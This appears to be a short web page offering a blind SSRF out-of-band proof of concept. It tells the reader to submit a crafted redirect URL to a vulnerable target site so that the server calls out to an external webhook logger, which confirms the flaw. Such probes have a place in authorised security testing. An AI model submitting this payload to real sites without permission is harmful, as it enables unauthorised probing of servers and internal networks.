Blind SSRF Out-of-Band (OOB) Proof of Concept

Origin: This page is fetched from **https://pipelock.dev**.

Goal: Trigger an HTTP 302 redirect from the server's fetching process to an external log collector (OOB).

Usage: 1. Get your unique Webhook/Beeceptor endpoint (e.g., https://ssrf-log.beeceptor.com). 2. Craft the SSRF payload on the **vulnerable target site** by submitting this full URL:

https://pipelock.dev/ssrf_trigger.html?log=YOUR_WEBHOOK_ENDPOINT

Status: Preparing HTTP 302 Redirect Payload...

The server should be redirected to: N/A

If you see a request hit your **Webhook log**, it confirms the target server is vulnerable to Blind SSRF.
